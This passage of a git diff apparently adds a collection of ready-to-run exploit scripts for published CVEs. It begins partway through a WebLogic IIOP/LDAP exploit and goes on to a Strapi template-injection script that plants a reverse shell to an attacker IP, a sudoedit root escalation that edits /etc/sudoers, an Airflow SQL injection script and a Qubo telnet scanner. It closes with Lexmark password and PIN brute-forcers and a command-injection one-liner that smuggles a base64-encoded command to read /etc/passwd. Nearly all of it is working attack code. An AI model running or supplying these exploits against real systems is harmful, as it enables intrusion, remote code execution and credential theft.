"00000003030000000000000000000078"+wlsKey1+"0000000b726562696e645f616e79000000000006000000050000001c00000000000000010000000d3137322e32362e3131322e310000ec5b000000010000000c00000000000100200501000100000006000000f4000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000100000000000000b8000102000000000d3137322e32362e3131322e310000ec5b0000006400424541080103000000000100000000000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000331320000000000014245412a0000001000000000000000005eedafdebc0d227000000001000000010000002c00000000000100200000000300010020000100010501000100010100000000030001010000010109050100010000000f00000020000000000000000000000000000000010000000000000000010000000000000042454103000000140000000000000000"+key2+"000000004245410000000004000a03010000000000000001000000047465737400000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000054524d493a7765626c6f6769632e6a6e64692e696e7465726e616c2e466f726569676e4f70617175655265666572656e63653a443233374439314342324630463638413a3344323135323746454435393645463100000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000000000"+ldap + str_size = str(hex(int(len(str3_request)/2))).replace("0x","") + while len(str_size) != 8: + str_size = "0"+str_size + str3_header = "47494f5001020000"+str_size + str3 = str3_header+str3_request + soc.send(bytes.fromhex(str3)) + buf = soc.recv(1024) + print("[*] 3 ", 'rebindAny') + + startoff = 0x64 + lt + 0xc0 + len(self.target) + 0xac + lt + 0x5d + + while buf[startoff] != 0x32: + if startoff > 0x2710: + break + startoff = startoff + 0x01 + + + if startoff > 0x2710: + key3 = b'\x32\x38\x39\x00'.hex() + else: + key3 = buf[startoff : startoff+4].hex() + wlsKey2 = wlsKey2.replace("{{key3}}",key3) + wlsKey2 = wlsKey2.replace("{{key1}}",key1) + str4_request = "00000004030000000000000000000078"+wlsKey2+"0000000b726562696e645f616e79000000000004000000050000001c00000000000000010000000d3137322e32362e3131322e310000ec5b000000010000000c00000000000100200501000142454103000000140000000000000000"+key2+"000000004245410000000004000a030100000001000000047465737400000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000054524d493a7765626c6f6769632e6a6e64692e696e7465726e616c2e466f726569676e4f70617175655265666572656e63653a443233374439314342324630463638413a3344323135323746454435393645463100000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000000000"+ldap + str_size = str(hex(int(len(str4_request) / 2))).replace("0x", "") + while len(str_size) != 8: + str_size = "0"+str_size + str4_header = "47494f5001020000"+str_size + str4 = str4_header+str4_request + soc.send(bytes.fromhex(str4)) + buf = soc.recv(1024) + print("[*] 4 ",'rebindAny') + + + str5 = "47494f50010200030000001700000005000000000000000b4e616d6553657276696365" + soc.send(bytes.fromhex(str5)) + buf = soc.recv(1024) + print("[*] 5 ",'locateRequest') + + + str6 = "47494f50010200000000011100000006030000000000000000000078"+wlsKey1+"000000087265736f6c76650000000004000000050000001c00000000000000010000000d3137322e32362e3131322e310000ec5b000000010000000c00000000000100200501000142454103000000140000000000000000"+key2+"000000004245410000000004000a030100000000000000010000000574657374000000000000000100" + soc.send(bytes.fromhex(str6)) + buf = soc.recv(1024) + print("[*] 6 ",'resolve') + + str7 = "47494f50010200000000011100000007030000000000000000000078"+wlsKey2+"000000087265736f6c76650000000004000000050000001c00000000000000010000000d3137322e32362e3131322e310000ec5b000000010000000c00000000000100200501000142454103000000140000000000000000"+key2+"000000004245410000000004000a030100000000000000010000000574657374000000000000000100" + soc.send(bytes.fromhex(str7)) + buf = soc.recv(1024) + print("[*] 7 ",'resolve') + + except Exception as e: + print("[-] ","run error: ",e) + finally: + if soc: + soc.close() + + + + +def getVer(host, port, vp): + soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + soc.settimeout(5) + soc.connect((host, int(port))) + try: + soc.send(vp) + buf = soc.recv(1024) + ver = buf[5:7] + if ver[0] == 0x00 or ver[1] == 0x00: + return "" + return bytes.decode(ver) + except: + pass + finally: + if soc: + soc.close() + + +if __name__ == "__main__": + banner = ''' + ___ __ ____ ___ ____ _____ ____ _ ___ _____ ___ + / __\/\ /\/__\ |___ \ / _ \___ \|___ / |___ \/ |( _ )___ // _ \ + / / \ \ / /_\_____ __) | | | |__) | |_ \ _____ __) | |/ _ \ |_ \ (_) | +/ /___ \ V //_|_____/ __/| |_| / __/ ___) |_____/ __/| | (_) |__) \__, | +\____/ \_/\__/ |_____|\___/_____|____/ |_____|_|\___/____/ /_/ + ''' + print(banner) + parser = argparse.ArgumentParser(description="Please enter parameters") + parser.add_argument('-ip','--ip',type=str,metavar='',help='target ip') + parser.add_argument('-p','--port',type=str,metavar='', default = '7001' , help='target port') + parser.add_argument('-l','--ldap',type=str,metavar='',help='ldap') + args = parser.parse_args() + if args.ip is None or args.port is None: + parser.usage + POC(args.ip, args.port, args.ldap).verify() + diff --git a/CVE-2023-22621.py b/CVE-2023-22621.py new file mode 100644 index 0000000..fcddcce --- /dev/null +++ b/CVE-2023-22621.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +import requests +import random, string, argparse + + +def get_token(username, password) -> str: + r = requests.post( + url + "/admin/login", data={"email": username, "password": password} + ) + try: + return r.json()["data"]["token"] + print("[+] Using token: " + token) + except: + print("[!] Error while getting token\nDEBUG: " + r.text) + exit(1) + + +def enable_confirmation(token, url_redirect): + r = requests.put( + url + "/users-permissions/advanced", + headers={"Authorization": "Bearer " + token}, + json={ + "unique_email": "true", + "allow_register": "true", + "email_confirmation": "true", + "email_reset_password": "null", + "email_confirmation_redirection": url_redirect, + "default_role": "authenticated", + }, + ) + if "ok" in r.text: + print("[+] Email confirmation enabled") + else: + print("[-] Error while enabling email confirmation\nDEBUG: " + r.text) + exit(1) + + +def add_payload(ip, port, payload=None): + if payload is None: + print( + f"[INFO] No custom payload provided, using bash -i >& /dev/tcp/{ip}/{port} 0>&1 open a netcat listener: rlwrap nc -lvnp {port}" + ) + input("Done ? (y/n): ") + payload = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1" + full_payload = ( + r'''<%= `${ process.binding("spawn_sync").spawn({"file":"/bin/sh","args":["/bin/sh","-c","''' + + payload + + r""""],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"/*<>%=*/}]}).output }` %>""" + ) + data = { + "email-templates": { + "email_confirmation": { + "display": "Email.template.email_confirmation", + "icon": "check-square", + "options": { + "from": { + "name": "Administration Panel", + "email": "no-reply@strapi.io", + }, + "response_email": "", + "object": "Account confirmation", + "message": f"

Thank you for registering!

\n\n{full_payload}", + }, + } + } + } + r = requests.put( + url + "/users-permissions/email-templates", + json=data, + headers={"Authorization": "Bearer " + token}, + ) + if "ok" in r.text: + print("[+] Malicious template added to email confirmation page") + else: + print("[-] Error while adding malicious template\nDEBUG: " + r.text) + exit(1) + + +def trigger_rce(): + json_data = { + "email": "".join(random.choices(string.ascii_lowercase, k=10)) + "@poc.local", + "username": "".join(random.choices(string.ascii_lowercase, k=10)), + "password": "".join(random.choices(string.ascii_lowercase, k=10)) + "?#A", + } + r = requests.post(url + "/api/auth/local/register", json=json_data) + print( + "[+] sendTemplatedEmail() should be triggered, check your listener\nDEBUG: " + + r.text + ) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("-url", help="URL of the Strapi instance", required=True) + parser.add_argument("-u", help="Admin username", required=True) + parser.add_argument("-p", help="Admin password", required=True) + parser.add_argument("-ip", help="Attacker IP") + parser.add_argument("-port", help="Attacker port") + parser.add_argument( + "-url_redirect", help="URL to redirect after email confirmation" + ) + parser.add_argument("-custom", help="Custom shell command to execute") + args = parser.parse_args() + url = args.url + if url[-1] == "/": + url = url[:-1] + token = get_token(args.u, args.p) + if args.url_redirect: + enable_confirmation(token, args.url_redirect) + else: + print( + "[i] No URL redirect provided, email confirmation will may encounter an error, using http://poc.com" + ) + enable_confirmation(token, "http://poc.com") + if args.custom: + add_payload(args.ip, args.port, args.custom) + elif args.ip and args.port: + add_payload(args.ip, args.port) + else: + print( + "[-] No ip and port provided, please provide them with -ip and -port or use -custom to provide a custom payload" + ) + exit(1) + print("[+] Waiting for RCE...") + trigger_rce() \ No newline at end of file diff --git a/CVE-2023-22809.sh b/CVE-2023-22809.sh new file mode 100644 index 0000000..c4394bf --- /dev/null +++ b/CVE-2023-22809.sh @@ -0,0 +1,45 @@ +#!/usr/bin/env bash +# +# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation +# +# Exploit Author: n3m1.sys +# CVE: CVE-2023-22809 +# Date: 2023/01/21 +# Vendor Homepage: https://www.sudo.ws/ +# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz +# Version: 1.8.0 to 1.9.12p1 +# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9 +# +# Running this exploit on a vulnerable system allows a localiattacker to gain +# a root shell on the machine. +# +# The exploit checks if the current user has privileges to run sudoedit or +# sudo -e on a file as root. If so it will open the sudoers file for the +# attacker to add a line to gain privileges on all the files and get a root +# shell. +​ +​ +if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$' +then + echo "> Currently installed sudo version is not vulnerable" + exit 1 +fi +​ +​ +EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-) +​ +​ +if [ -z "$EXPLOITABLE" ]; then + echo "> It doesn't seem that this user can run sudoedit as root" + read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 +else + echo "> BINGO! User exploitable" +fi +​ +​ +echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" +echo "$USER ALL=(ALL:ALL) ALL" +read -n 1 -s -r -p "Press any key to continue..." +EDITOR="vim -- /etc/sudoers" $EXPLOITABLE +sudo su root +exit 0 \ No newline at end of file diff --git a/CVE-2023-22884-Airflow-SQLi.py b/CVE-2023-22884-Airflow-SQLi.py new file mode 100644 index 0000000..7eaa105 --- /dev/null +++ b/CVE-2023-22884-Airflow-SQLi.py @@ -0,0 +1,287 @@ +# @jakabakos +# version: 1.1 +# Tested with Airflow 2.5.0 and MySQL provider 3.4.0 +# Apache Airflow REST API reference: https://airflow.apache.org/docs/apache-airflow/stable/stable-rest-api-ref.html + +import argparse +import json +import re +import requests +from packaging import version + +def get_csrf_token(url): + """Get the CSRF token from the login page response""" + # Send a GET request to the login page to retrieve the HTML content + response = requests.get(url + "/login/") + + # Use regular expression to find the CSRF token from the response HTML + pattern = r'' + csrf_token = re.search(pattern, response.text) + + # Extract the initial session cookie from the response + initial_session_cookie = response.cookies.get('session') + + # Check if CSRF token is found in the response and return the session cookie and the token + if csrf_token: + print("[+] CSRF token found.") + return initial_session_cookie, csrf_token.group(1) + else: + # If CSRF token is not found, print an error message and exit the script + print("[-] CSRF token not found. Exiting...") + exit(1) + +def login(url, username, password, cookie, csrf_token): + """Login to the Apache Airflow web application""" + # Prepare the login data with CSRF token, username, and password + data = {"csrf_token": csrf_token, "username": username, "password": password} + + # Send a POST request to the login page with the login data and session cookie + response = requests.post( + url + "/login/", + headers={ + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": f"session={cookie}" + }, + data=data + ) + + # Check if the login was successful or if there was an error + if "Invalid login. Please try again." in response.text: + print("[+] Login was not successful due to invalid credentials.") + exit(1) + elif response.status_code != 200: + print("[-] Something went wrong with the login process.") + elif "Set-Cookie" in response.headers: + # If login was successful, extract the new session cookie from the response headers + session_cookie = response.headers["Set-Cookie"].split(";")[0].split("=")[1] + print(f"[+] Login was successful. Captured session cookie: {session_cookie}") + return session_cookie + +def verify_airflow_version(url, session_cookie): + """Verify the version of Apache Airflow and check for vulnerability""" + # Send a GET request to the Airflow home page to retrieve the HTML content + response = requests.get( + url + "/home", + headers={"Cookie": f"session={session_cookie}"} + ) + + # Use regular expression to find the version string from the response HTML + version_str = re.search(r'v(\d+\.\d+\.\d+)', response.text) + + # Check if the version string is found in the response and extract the version number + if version_str: + print(f"[+] Airflow version found: {version_str.group(1)}") + else: + # If version string is not found, print an error message and exit the script + print("[-] Airflow version not found.") + exit(1) + + # Check if the version is vulnerable (less than or equal to 2.5.0) + if version.parse(version_str.group(1)) <= version.parse("2.5.0"): + print("[+] Version is vulnerable.") + else: + print("[-] Airflow version is not vulnerable. Version is above 2.5.0. Exiting...") + exit(1) + +def verify_mysql_provider(url, session_cookie): + """Verify the version of MySQL provider and check for vulnerability""" + # Send a GET request to get the list of providers from the Airflow API + response = requests.get( + f'{url}/api/v1/providers', + headers={"Cookie": f"session={session_cookie}"} + ) + data = response.json() + providers = data.get("providers", []) + + # Loop through the list of providers and find the MySQL provider + for provider in providers: + if provider.get("package_name") == "apache-airflow-providers-mysql": + # Check if the version of the MySQL provider is vulnerable (less than or equal to 3.4.0) + if version.parse(provider.get("version")) <= version.parse("3.4.0"): + print("[+] MySQL provider version is vulnerable.") + return + else: + print("[-] MySQL provider version is not vulnerable. Exiting...") + exit(1) + + # If MySQL provider is not found in the list of providers, print an error message and exit the script + print("[-] MySQL provider not found. Exiting...") + exit(1) + +def verify_connection_id(url, session_cookie, connection_id): + """Verify the existence of a provided connection ID or create a new connection using provided JSON data""" + # Check if the provided connection ID is a string, indicating an existing connection + if isinstance(connection_id, str): + # Send a GET request to get the list of connections from the Airflow API + response = requests.get( + f'{url}/api/v1/connections', + headers={"Cookie": f"session={session_cookie}"} + ) + connections = response.json().get("connections", []) + + # Loop through the list of connections and check if the provided connection ID exists + found = False + for conn in connections: + if conn.get("connection_id") == connection_id: + # Check if the existing connection is of type "mysql" + if conn.get("conn_type") == "mysql": + found = True + else: + print("[-] The provided connection_id is not a 'mysql' type connection. Exiting...") + exit(1) + if found: + print(f"[+] Connection ID '{connection_id}' exists.") + return + else: + print("[-] Submitted connection id does not exist. Exiting...") + exit(1) + + # If the connection ID does not exist, try to open it as a JSON file that contains the data for the new connection + else: + try: + with open(connection_id, 'r') as f: + conn_data = json.load(f) + if not isinstance(conn_data, dict) or not all(key in conn_data for key in ["connection_id", "conn_type", "host", "login", "port", "password"]): + print("[-] Invalid JSON format for connection data. Exiting...") + exit(1) + # Send a POST request to create a new connection using the provided JSON data + response = requests.post( + url + "/connections", + headers={"Cookie": f"session={session_cookie}"}, + json=conn_data + ) + + # Check if the connection was successfully created or if there was an error + if response.status_code == 200: + print(f"[+] Connection was successfully created with name {conn_data['connection_id']}.") + print("[+] This connection id should be used by the vulnerable DAG.") + else: + print("[-] Failed to create the connection. Exiting...") + exit(1) + except FileNotFoundError: + print("[-] The specified connection data file was not found. Exiting...") + exit(1) + except json.JSONDecodeError: + print("[-] Failed to parse the JSON connection data. Exiting...") + exit(1) + +def verify_dag_id(url, session_cookie, dag_id): + """Verify the existence of a provided DAG ID""" + # Send a GET request to get the list of DAGs from the Airflow API + response = requests.get(f'{url}/api/v1/dags', + headers={"Cookie": f"session={session_cookie}"} + ) + + dags = response.json().get("dags", []) + + # Check if the provided DAG ID exists in the list of DAGs + if any(dag.get("dag_id") == dag_id for dag in dags): + print(f"[+] DAG id '{dag_id}' exists.") + else: + print("[-] DAG id does not exist. Exiting...") + exit(1) + +def trigger_dag(url, session_cookie, dag_id, file_path): + """Trigger a DAG run with a provided configuration""" + endpoint = f"{url}/api/v1/dags/{dag_id}/dagRuns" + headers = { + "Cookie": f"session={session_cookie}", + "accept": "application/json" + } + + try: + # Read the content of the provided file (should be in JSON format) + with open(file_path, 'r') as file: + file_content = file.read() + try: + # Try to parse the JSON content into a Python dictionary + payload = json.loads(file_content) + except json.JSONDecodeError: + # If the provided file content is not valid JSON, exit the script + exit(0) + except FileNotFoundError: + # If the provided file path does not exist, print an error message and return None + print("File not found.") + return None + + # Prepare the payload for the DAG run with the provided configuration + data = {"conf": payload} + + # Send a POST request to trigger the DAG run with the payload configuration + response = requests.post(endpoint, headers=headers, json=data) + + # Check if the DAG run was successfully triggered and if it's in "queued" state + if response.status_code == 200 and response.json().get("state") == "queued": + print("[+] DAG successfully triggered with the provided payload.") + else: + print("[-] Failed to trigger the DAG. Response:") + print(json.dumps(response.json(), indent=4)) + exit(1) + +def main(): + # Example text to show usage examples of the script + example_text = '''Examples: + python3 exploit.py -u admin -p admin --host http://localhost:8080 --mode test -ci mysql -di bulk_load_from_file + python3 exploit.py -u admin -p admin --host http://localhost:8080 --mode attack -ci mysql -di bulk_load_from_file -dc dag_config.json + ''' + parser = argparse.ArgumentParser( + description="CVE-2023-22884 Apache Airflow SQLi exploit script", + epilog=example_text, + formatter_class=argparse.RawDescriptionHelpFormatter + ) + + # Define command-line arguments for the script + parser.add_argument("-u", "--username", help="Airflow username.") + parser.add_argument("-p", "--password", help="Airflow password.") + parser.add_argument("-c", "--cookie", help="Authentication cookie.") + parser.add_argument("--host", required=True, help="Host where the airflow is (format: http(s)://host:port).") + parser.add_argument("-m", "--mode", required=True, choices=["test", "attack"], help="The mode of the script. Can be: 'test' or 'attack' mode") + parser.add_argument("-ci", "--connection-id", help="The connection ID of the MySQL provider. Required in attack mode only. Submit a string if it's existing or a path to a JSON file if should be created.") + parser.add_argument("-di", "--dag-id", help="The ID of the DAG to be exploited. Required in attack mode only.") + parser.add_argument("-dc", "--dag-config-file", help="Path to a file that stores a the DAG config JSON.") + + args = parser.parse_args() + + # Check if either username and password or the authentication cookie is provided + if (args.username and args.password) or args.cookie: + url = args.host.rstrip("/") + # Check if the URL starts with 'http://' or 'https://' and correct it if needed + if not url.startswith("http"): + print("[-] Invalid URL format. Please use 'http' or 'https' as the schema. Exiting...") + exit(1) + + # Get the session cookie if not provided, by performing login using credentials and CSRF token + session_cookie = args.cookie + if not session_cookie: + initial_session_cookie, csrf_token = get_csrf_token(url) + session_cookie = login(url, args.username, args.password, initial_session_cookie, csrf_token) + + if args.mode == "test": + print("[+] Running in test mode.") + # Verify the version of Apache Airflow and check for vulnerability + verify_airflow_version(url, session_cookie) + + # Verify the version of MySQL provider and check for vulnerability + verify_mysql_provider(url, session_cookie) + + # Verify the existence of the provided MySQL connection ID + verify_connection_id(url, session_cookie, args.connection_id) + + # Verify the existence of the provided DAG ID + verify_dag_id(url, session_cookie, args.dag_id) + + print("[+] Exploit successfully finished in test mode. Application is potentially VULNERABLE.") + exit(0) + + elif args.mode == "attack": + print("[+] Running in attack mode.") + # Trigger the DAG run with the provided configuration + trigger_dag(url, session_cookie, args.dag_id, args.dag_config_file) + print("[+] Exploit successfully finished in attack mode.") + else: + # If neither credentials nor authentication cookie is provided, print an error message and exit the script + print("[-] Either username along with password or the authentication cookie is required. Exiting...") + exit(1) + +if __name__ == "__main__": + main() diff --git a/CVE-2023-22906.py b/CVE-2023-22906.py new file mode 100644 index 0000000..f77ba07 --- /dev/null +++ b/CVE-2023-22906.py @@ -0,0 +1,132 @@ +import os +import socket +import multiprocessing +import subprocess +import telnetlib + +ascii_art = r""" + ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ █████╗ ██████╗ ██████╗ +██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔══██╗██╔═████╗██╔════╝ +██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝╚██████║██║██╔██║███████╗ +██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚═══██║████╔╝██║██╔═══██╗ +╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗ █████╔╝╚██████╔╝╚██████╔╝ + ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝ ╚════╝ ╚═════╝ ╚═════╝ +""" + +def pinger(job_q, results_q): + """ + Do Ping + :param job_q: + :param results_q: + :return: + """ + DEVNULL = open(os.devnull, 'w') + while True: + + ip = job_q.get() + + if ip is None: + break + + try: + subprocess.check_call(['ping', '-c1', ip], + stdout=DEVNULL) + results_q.put(ip) + except: + pass + + +def get_my_ip(): + """ + Find my IP address + :return: + """ + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + ip = s.getsockname()[0] + s.close() + return ip + except socket.error: + print("Unable to determine the IP address. Please check your network connection.") + return None + + +def map_network(pool_size=255): + """ + Maps the network + :param pool_size: amount of parallel ping processes + :return: list of valid ip addresses + """ + + ip_list = list() + + # get my IP and compose a base like 192.168.1.xxx + my_ip = get_my_ip() + + if my_ip is None: + return ip_list + + ip_parts = my_ip.split('.') + base_ip = ip_parts[0] + '.' + ip_parts[1] + '.' + ip_parts[2] + '.' + + # prepare the jobs queue + jobs = multiprocessing.Queue() + results = multiprocessing.Queue() + + pool = [multiprocessing.Process(target=pinger, args=(jobs, results)) for i in range(pool_size)] + + for p in pool: + p.start() + + # cue the ping processes + for i in range(1, 255): + jobs.put(base_ip + '{0}'.format(i)) + + for p in pool: + jobs.put(None) + + for p in pool: + p.join() + + # collect the results + while not results.empty(): + ip = results.get() + ip_list.append(ip) + + return ip_list + + +def connect_to_qubo_device(ip): + tn = telnetlib.Telnet(ip) + tn.interact() + + + +if __name__ == '__main__': + print(ascii_art) + print('Mapping the network...') + lst = map_network() + print("Valid IP's on this network:") + print(lst) + + successful_ips = [] + for ip in lst: + try: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.settimeout(2) + result = s.connect_ex((ip, 23)) + if result == 0: + tn = telnetlib.Telnet(ip, timeout=2) + successful_ips.append(ip) + except: + pass + + if successful_ips: + for successful_ip in successful_ips: + print("Found a Qubo device. To connect to the device, type telnet " + successful_ip) + connect_decision = input("Would you like to connect to the Qubo device at {}? (yes/no): ".format(successful_ip)).strip().lower() + if connect_decision == 'yes': + connect_to_qubo_device(successful_ip) + else: + print("Qubo device not found on this network.") diff --git a/CVE-2023-22960.py b/CVE-2023-22960.py new file mode 100644 index 0000000..6116d1d --- /dev/null +++ b/CVE-2023-22960.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python3 +# +# Author: Panagiotis Chartas (t3l3machus) +# Usage: lexmark-brute-force-login.py -t TARGET -P PROTOCOL -u USERNAMES_FILE -p PASSWORDS_FILE [-h] +# +# https://github.com/t3l3machus + +import requests, threading, re, argparse +from random import randint +requests.packages.urllib3.disable_warnings() + +# -------------- Arguments -------------- # +parser = argparse.ArgumentParser() + +parser.add_argument("-t", "--target", action="store", help = "IP or domain name of the target. Use it to specify port as well (e.g. 192.168.0.56:8080)", required = True) +parser.add_argument("-P", "--protocol", action="store", help = "HTTP or HTTPS.", required = True) +parser.add_argument("-u", "--usernames-file", action="store", help = "File containing a usernames list", required = True) +parser.add_argument("-p", "--passwords-file", action="store", help = "File containing a passwords list.", required = True) + +args = parser.parse_args() + +# Colors +MAIN = '\033[38;5;50m' +FAIL = '\033[1;91m' +END = '\033[0m' +BOLD = '\033[1m' +ORANGE = '\033[0;38;5;214m' +GREEN = '\033[38;5;82m' + +MAIN_BULLET = f'[{MAIN}*{END}]' + +# Threading +max_threads = 80 +thread_limiter = threading.BoundedSemaphore(max_threads) + +# Request +# The login URL below might not be exactly the same for all printer models. You may need to edit the resource /webglue/session/create +login_url = f'{args.protocol}://{args.target}/webglue/session/create' + +headers = { + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', + 'Accept': 'application/json, text/javascript, */*; q=0.01', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8', + 'X-Requested-With': 'XMLHttpRequest', + 'Connection': 'keep-alive', + 'Cookie': 'lang=en; autoLogin=false', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-origin' +} + +# Usernames & Passwords +def get_file_contents(path): + + f = open(path, 'r') + contents = f.readlines() + f.close() + return contents + + +usernames = get_file_contents(args.usernames_file) +passwords = get_file_contents(args.passwords_file) +users_count = len(usernames) +passwds_count = len(passwords) + + +def bruteforce(user): + + thread_limiter.acquire() + + for passwd in passwords: + + passwd = passwd.strip() + authId = randint(-1000000, 1000000) + data = '{"authtype" : 0, "authId" : ' + str(authId) + ', "creds": {"username" : "' + user + '", "password" : "' + passwd + '"}}' + post_req_data = {'data': data, 'lang':'en'} + + try: + response = requests.post(url = login_url, data = post_req_data, verify = False, allow_redirects = False, headers = headers) + content = response.content.decode() + + if re.search('sessionId', content): + print(f'{GREEN}{user}{END} : {GREEN}{passwd}{END}\n' + content + '\n') + + # Comment out the else statement for non verbose output + else: + print(f'{ORANGE}{user}{END} : {ORANGE}{passwd}{END} ' + content) + + except: + print(f'{FAIL}FAIL{END} Something went wrong. [status: {response.status_code}]') + + thread_limiter.release() + + + +def main(): + + print(f'\r{MAIN_BULLET} PoC for CVE-2023-22960 by t3l3machus (https://github.com/t3l3machus){END}') + print(f'{MAIN_BULLET} Initiating credentials brute force attack against: {login_url}{END}') + print(f'{MAIN_BULLET} Number of usernames loaded:{END} {users_count}') + print(f'{MAIN_BULLET} Number of passwords loaded:{END} {passwds_count}') + print(f'{MAIN_BULLET} Estimated number of queued login attempts:{END} {users_count*passwds_count}') + + for user in usernames: + threading.Thread(target = bruteforce, args = (user.strip(),)).start() + + +if __name__ == '__main__': + main() + +''' +#!/usr/bin/env python3 +# +# Author: Panagiotis Chartas (t3l3machus) +# usage: lexmark-brute-force-pins.py -t TARGET -P PROTOCOL -p PINS_FILE [-h] +# +# https://github.com/t3l3machus + +import requests, threading, re, argparse +from random import randint +requests.packages.urllib3.disable_warnings() + +parser = argparse.ArgumentParser() + +parser.add_argument("-t", "--target", action="store", help = "IP or domain name of the target. Use it to specify port as well (e.g. 192.168.0.56:8080)", required = True) +parser.add_argument("-P", "--protocol", action="store", help = "HTTP or HTTPS.", required = True) +parser.add_argument("-p", "--pins-file", action="store", help = "File containing a PINS list.", required = True) + +args = parser.parse_args() + +# Colors +MAIN = '\033[38;5;50m' +SUCCESS = '\033[38;5;82m' +FAIL = '\033[1;91m' +END = '\033[0m' +BOLD = '\033[1m' +ORANGE = '\033[0;38;5;214m' +GREEN = '\033[38;5;82m' + +MAIN_BULLET = f'[{MAIN}*{END}]' + +# Threading +max_threads = 80 +thread_limiter = threading.BoundedSemaphore(max_threads) + +# Request +# The login URL below might not be exactly the same for all printer models. You may need to edit the resource /webglue/session/create +login_url = f'{args.protocol}://{args.target}/webglue/session/create' + +headers = { + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', + 'Accept': 'application/json, text/javascript, */*; q=0.01', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8', + 'X-Requested-With': 'XMLHttpRequest', + 'Connection': 'keep-alive', + 'Cookie': 'lang=en; autoLogin=false', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-origin' +} + +# PINS +def get_file_contents(path): + + f = open(path, 'r') + contents = f.readlines() + f.close() + return contents + + +pins = get_file_contents(args.pins_file) +pins_count = len(pins) + + +def bruteforce(pin): + + thread_limiter.acquire() + pin = pin.strip() + authId = randint(-1000000, 1000000) + data = '{"authtype" : 3, "authId" : ' + str(authId) + ', "creds": {"pin" : "' + pin + '"}}' + post_req_data = {'data':data, 'lang':'en'} + + try: + response = requests.post(url = login_url, data = post_req_data, verify = False, allow_redirects = False, headers = headers) + content = response.content.decode() + + if re.search('sessionId', content): + print(f'Match: {GREEN}{pin}{END} ' + content) + + # Comment out the else statement for non verbose output + else: + print(f'{ORANGE}{pin}{END} ' + content) + + except: + print(f'{FAIL}FAIL{END} Something went wrong. [status: {response.status_code}]') + + finally: + thread_limiter.release() + + + +def main(): + + print(f'\n{MAIN_BULLET} PoC for CVE-2023-22960 by t3l3machus (https://github.com/t3l3machus)') + print(f'{MAIN_BULLET} Initiating PIN authentication brute force attack against: {login_url}') + print(f'{MAIN_BULLET} Number of PINs loaded: {pins_count}') + print(f'{MAIN_BULLET} Successful attempts will be logged below (if any):') + + for pin in pins: + threading.Thread(target = bruteforce, args = (pin.strip(),)).start() + + +if __name__ == '__main__': + main() + +''' \ No newline at end of file diff --git a/CVE-2023-23333.py b/CVE-2023-23333.py new file mode 100644 index 0000000..e1486eb --- /dev/null +++ b/CVE-2023-23333.py @@ -0,0 +1,33 @@ +import subprocess + +# Prompt ip address +ip_address = input("Enter the IP address & Port of the device: (Ex: 10.10.10.10:82)\n") + +# Craft command +command = 'curl "http://{}/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg%3D%3D|base64%20-d|bash%00.zip" | grep "root:.*:0:0"'.format(ip_address) + +# Execute command +output_bytes = subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL) + +# Decode +output = output_bytes.decode("utf-8-sig", errors='replace') + +# Check +if 'root' in output: + print("The IP address {} is vulnerable to CVE-2023-23333.".format(ip_address)) + print("Output:") + print(output) + + # Write full report + full_output_command = 'curl "http://{}/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg%3D%3D|base64%20-d|bash%00.zip"'.format(ip_address) + full_output_bytes = subprocess.check_output(full_output_command, shell=True, stderr=subprocess.DEVNULL) + full_output = full_output_bytes.decode("utf-8-sig", errors='replace') + with open("full-output.txt", "w") as file: + file.write(full_output) 